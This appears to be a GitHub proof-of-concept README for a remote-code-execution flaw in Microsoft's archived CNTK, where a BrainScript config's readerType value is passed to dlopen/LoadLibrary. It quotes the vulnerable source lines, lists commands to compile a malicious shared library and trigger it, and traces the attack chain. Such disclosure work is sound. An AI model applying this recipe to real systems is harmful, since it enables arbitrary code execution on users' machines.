0xiviel/poc-cntk-brainscript-rce

PoC: CNTK BrainScript dlopen/LoadLibrary RCE (CWE-94)

Vulnerability

CNTK's DataReader constructor passes the readerType config parameter directly to Plugin::Load(), which calls dlopen() (Linux) or LoadLibrary() (Windows) with the attacker-controlled value. No allowlist, no path validation, no signature verification.

// DataReader.cpp:102 — readerType from config, no validation
wstring readerType = thisIO(L"readerType", L"Cntk.Deserializers.TextFormat");
GetReaderProc getReaderProc = (GetReaderProc) Plugin::Load(readerType, ...);

// File.cpp:1087 — dlopen with attacker-controlled path
void* handle = dlopen(soName.c_str(), RTLD_LAZY);  // soName = readerType + "-VERSION.so"

• CWE-94: Improper Control of Generation of Code (Code Injection)
• CWE-426: Untrusted Search Path
• CVSS: 9.8 (Critical)
• Repository: https://github.com/microsoft/CNTK (archived)

Files

File	Description
evil_reader.c	Malicious shared library — constructor executes on dlopen
poc_dlopen.bs	BrainScript config that triggers loading the malicious library

Reproduction

# 1. Compile malicious shared library (adjust version as needed)
gcc -shared -fPIC -o /tmp/evil-2.7.so evil_reader.c

# 2. Run CNTK with the malicious config
cntk configFile=poc_dlopen.bs

# 3. Verify RCE
cat /tmp/cntk_rce_proof.txt

Attack Chain

BrainScript config (.bs file)
  → readerType = "/tmp/evil"
  → DataReader::DataReader()         [DataReader.cpp:102]
  → Plugin::Load(readerType, ...)    [DataReader.cpp:105]
  → Plugin::LoadInternal()           [File.cpp:1068]
  → soName = "/tmp/evil-2.7.so"     [File.cpp:1082-1084]
  → dlopen(soName.c_str())          [File.cpp:1087] ← RCE
  → __attribute__((constructor))     executes attacker code